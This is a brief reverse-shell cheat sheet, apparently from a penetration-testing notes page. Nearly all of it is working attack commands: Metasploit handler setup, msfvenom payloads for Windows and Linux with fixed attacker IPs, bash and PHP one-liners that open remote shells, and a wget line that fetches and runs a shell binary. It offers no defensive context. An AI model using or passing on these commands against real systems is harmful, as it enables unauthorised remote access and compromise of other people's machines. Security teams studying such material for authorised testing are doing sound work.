reverse_shell
reverse shell that works on windows x64
// start meterpreter
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.8.60.209
lhost => 10.8.60.209
msf6 exploit(multi/handler) > run
// msfvenom generate binary
// windows
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.131 LPORT=4444 -f exe -o reverse.exe
// Linux:
msfvenom -p linux/x64/shell/reverse_tcp LHOST=10.9.47.64 LPORT=4448 -f elf-so -o shell-x64
// different rev shells - php, bash and binary
sh -i >& /dev/tcp/10.9.47.64/4444 0>&1;
php -r '$sock=fsockopen("10.9.47.64",4444);exec("sh <&3 >&3 2>&3");'
msfvenom -p linux/x64/shell/reverse_tcp LHOST=10.9.47.64 LPORT=4444 -f elf-so -o shell-x64
wget -c "http://10.9.47.64/shell-x64" -O "/tmp/shell" & ./tmp/shell;
php -r '$sock=fsockopen("10.9.47.64",4444);popen("sh <&3 >&3 2>&3", "r");'
python3 -c 'import pty; pty.spawn("/bin/bash")'
// exploit suggester
run post/multi/recon/local_exploit_suggester
Last updated
Was this helpful?